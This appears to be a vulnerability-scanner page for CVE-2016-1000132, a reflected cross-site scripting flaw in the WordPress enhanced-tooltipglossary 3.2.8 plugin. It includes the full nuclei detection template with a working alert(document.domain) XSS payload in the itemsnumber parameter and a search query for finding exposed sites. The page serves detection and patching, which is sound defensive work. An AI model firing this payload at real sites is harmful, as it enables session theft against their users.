WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress enhanced-tooltipglossary 3.2.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of WordPress enhanced-tooltipglossary plugin (3.2.9 or higher) which includes a fix for this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/enhanced-tooltipglossary/readme.txt
Positive when: contains "CM Tooltip Glossary"
Send: GET {{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000132 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000132

info:
  name: WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress enhanced-tooltipglossary 3.2.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress enhanced-tooltipglossary plugin (3.2.9 or higher) which includes a fix for this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=37
    - https://wordpress.org/plugins/enhanced-tooltipglossary
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000132
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000132
    cwe-id: CWE-79
    epss-score: 0.04426
    epss-percentile: 0.91444
    cpe: cpe:2.3:a:cminds:tooltip_glossary:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cminds
    product: "tooltip_glossary"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/enhanced-tooltipglossary\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,cminds,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/enhanced-tooltipglossary/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'CM Tooltip Glossary'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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